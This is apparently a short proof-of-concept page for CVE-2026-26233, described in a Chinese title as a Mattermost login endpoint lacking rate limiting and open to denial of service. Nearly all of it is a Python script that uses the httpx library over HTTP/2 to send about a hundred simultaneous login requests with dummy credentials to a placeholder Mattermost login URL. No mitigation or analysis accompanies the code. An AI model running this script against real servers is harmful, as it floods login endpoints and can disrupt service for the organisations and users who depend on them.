CVE-2026-26233 Mattermost登录请求未限速致DoS漏洞

# PoC Concept: HTTP/2 Multiplexing Attack # Requires httpx library: pip install httpx import httpx import asyncio async def send_h2_attack(target_url): # Use HTTP/2 with async client async with httpx.AsyncClient(http2=True) as client: # Prepare login payloads (dummy data) payload = {"login_id": "attacker", "password": "wrong"} # Generate 100+ parallel requests tasks = [client.post(target_url, json=payload) for _ in range(100)] # Send in a single packet (multiplexed) responses = await asyncio.gather(*tasks) print(f"Sent {len(responses)} requests via HTTP/2") if __name__ == "__main__": target = "https://target-mattermost.com/api/v4/users/login" asyncio.run(send_h2_attack(target))